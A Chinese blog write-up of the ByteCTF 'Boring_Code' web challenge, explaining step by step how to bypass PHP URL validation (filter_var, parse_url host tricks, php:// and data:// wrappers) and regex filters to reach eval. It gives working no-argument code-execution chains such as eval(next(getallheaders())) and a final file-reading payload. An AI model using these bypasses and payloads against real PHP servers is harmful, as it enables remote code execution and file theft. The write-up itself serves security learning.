ByteCTF上遇到的一道Web题目,Boring_Code
访问:http://112.125.25.2:9999/code/
输出了代码:
<?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); }
0x01 filter_var函数
<?php $url = $_POST['url']; function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { return true; } return false; } if(is_valid_url($url)){ echo 'success'; } else { echo 'fail'; }
那么filter_var($url, FILTER_VALIDATE_URL)
判断符合格式的URL可以是怎样的呐?
只要是满足<中英数>://<中英数符号>
,前一个可以包含符号 .
0x02 parse_url函数
parse_url函数是用于解析URL中的参数,包括host,port,参数等等
测试代码:
<?php $url = $_POST['url']; function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if(is_valid_url($url)){ var_dump(parse_url($url)); } else { echo 'fail'; }
那么在第一部分,我们说到了filter_var()函数验证URL其实是不严谨的,那么在parse_url()这,会不会导致一些bypass呐?
通过@
分割 user
与 host
改造一下:
<?php $url = $_POST['url']; function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if(is_valid_url($url)){ $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { var_dump($r['host']); echo 'success'; } else { echo 'Host必须包含以baidu.com结尾字符串'; } } else { echo 'fail'; }
0x03 file_get_contents函数
测试代码:
<?php $url = $_GET['url']; var_dump(file_get_contents($url));
使用php://input伪协议绕过
- 将要GET的参数
?xxx=php://input
- 用post方法传入想要
file_get_contents()
函数返回的值
用data://伪协议绕过
- 将url改为:
?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
- 将url改为:
?xxx=data:text/plain,(url编码的内容)
在is_valid_url()
函数中禁止了data://
协议
0x04 绕过递归检测
题目中还有;的递归正则匹配
<?php $url = $_POST['url']; function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if(is_valid_url($url)){ $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); var_dump($code); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { echo 'success'; } else { echo '只能有一个;(分号)'; } } else { echo 'Host必须包含以baidu.com结尾字符串'; } } else { echo 'fail'; }
这种正则匹配需要按照:function(function(function()));
这样的格式,只能是函数形式,而且字母得小写,
可以通过两种方法绕过:
- Apache环境:
getallheaders()
- Nginx环境:
get_defined_vars()
例如:
<?php // 只需要在数据包头加上相关例如:kk:phpinfo();就可以执行了 eval(next(getallheaders())); // 只需要传递post或者get或者cookie参数,在对应传值即可 eval(reset(get_defined_vars())); // 通过16进制编码传PHPSESSID值 eval(hex2bin(session_id(session_start())));
0x05 绕过关键词检测
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { echo 'success'; eval($code); }
如上代码,过滤了关键词et
,那么含有get字符串的函数就不能用
所以使用session方式,hex也被过滤,那么看看php当中字符串的函数有哪些呐?
但是session相关的函数都有_
,emmm~
尝试str_rot13()
…
然后参考了“PHP无参数RCE”一文
由于过滤太猛,所以尝试任意读取文件
函数 | 说明 |
---|---|
getcwd() |
获取当前工作目录 |
dirname() |
返回去掉文件名后的目录名 |
scandir() |
返回当前目录下的文件名+文件夹 |
chdir() |
更改执行目录 |
end() |
指向最后一个元素,并输出 |
readfile() |
读取输出文件内容 |
next() |
将内部指针指向数组中的下一个元素 |
arrary_reverse() |
数组反转 |
localeconv() |
返回一包含本地数字及货币格式信息的数组 |
current() 、pos() |
返回数组中的当前单元, 默认取第一个值 |
hex2bin |
转换十六进制字符串为二进制字符串 |
最后构造payload:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
参考文章
上一篇
CSRF浅谈
CSRF浅谈
版权声明:《 一道CTF题目的探究 》为DYBOY原创文章,转载请注明出处!
最后编辑:2019-9-7 15:09:57
2022-07-05 15:46
2020-05-26 18:42
2019-11-03 20:23
2019-09-19 10:09